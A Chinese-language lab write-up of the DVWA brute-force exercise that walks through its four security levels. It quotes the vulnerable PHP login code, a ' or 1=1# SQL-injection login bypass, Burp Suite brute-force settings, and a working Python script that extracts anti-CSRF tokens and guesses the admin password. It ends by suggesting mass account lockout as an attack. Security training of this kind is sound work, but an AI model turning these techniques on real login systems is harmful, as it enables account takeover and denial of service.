DVWA - Brute Force

DVWA - Brute Force

等级：low

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直接上bp弱口令爆破，设置变量，攻击类型最后一个，payload为用户名、密码简单列表

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直接run，长度排序下，不一样的就是正确的用户名和密码

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另解：
看一下源码，user变量直接被嵌入sql语句中，没有进行任何过滤，故可以用万能密码（' or 1=1#​）截断sql语句，使result值为1，绕过登陆验证

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等级：medium

直接看源码：

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "
Welcome to the password protected area {$user}
";
        echo "{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "

Username and/or password incorrect.
";
    }

    mysql_close();
}

?>

添加了mysql_real_escape_string( )函数来转义参数中的特殊字符，故万能密码行不通，此外增加了登陆失败执行sleep(2)函数，一定程度上限制了爆破攻击，增加攻击者的成本。我们依旧用bp爆破，但是要设置下请求间隔为2100毫秒

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等级：high

直接看源码：

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "
Welcome to the password protected area {$user}
";
        echo "{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "

Username and/or password incorrect.
";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里添加了token的校验，checkToken( )函数检查用户token和会话token是否相同，generateSessionToken( )函数是自定义函数，用于创建user_token，这里是从上一次请求的response里面提取的token，我们抓个包分析下

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所以我们用bp爆破的话，要给token设置变量，递归提取token，操作如下：

先设置grep规则，要勾选总是重定向，线程要设置成1，url编码要把=和&去掉

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然后run

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另解：

当然不熟悉bp操作的话，可以写python脚本来解决，如下：

import re
import requests

# 设置cookie
headers = {
    'Cookie': 'PHPSESSID=m7t4i0m8ft1rh1p6frtm5t0bh0; security=high',
}
 
# 从返回值中提取cookie
def get_token():
    url = 'http://ctfdemo.com:8008/vulnerabilities/brute/'
    req = requests.get(url, headers=headers)
    match = re.search(r'value=\'(.+)\'', req.text)
    return  match.group(1)

 
# 请求脚本，这里为了省事，用户名固定了 
def brute(pw, user_token):
 
    url = "http://ctfdemo.com:8008/vulnerabilities/brute/"
 
    params = {
        'username': 'admin',
        'password': pw,
        'Login': 'Login',
        'user_token':user_token
    }
 
    req = requests.get(url, params=params, headers=headers)
    return req.text
 
 
 
def main():
    with open('password.txt') as p:
        pslist = p.readlines()
        p.close()
 
    for line in pslist:
        line = line.strip()
        user_token = get_token()
        result = brute(line, user_token)
        print("%s...... 已测试" % line)
        if not "incorrect" in result:
            print("攻击成功，密码是: %s" % line)
            break

if __name__ == '__main__':
    main()

输出：

​
​

等级：impossible

直接分析源码：

if( isset( $_POST[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "

This account has been locked due to too many incorrect logins.
";

        // Calculate when the user would be allowed to login again
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow > $timeout )
            $account_locked = true;
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "
Welcome to the password protected area {$user}
";
        echo "{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "
Warning: Someone might of been brute forcing your account.
";
            echo "
Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用了 PDO（PHP Data Objects）扩展，即预处理和参数化查询，避免了SQL注入攻击；设置了最大登陆次数（$total_failed_login = 3），当登陆失败的次数超过3次，会输出警告信息，锁定账户。在一方面确实防止了爆破攻击，但是我们可以批量让用户锁定，也是在一方面影响了用户的体验。

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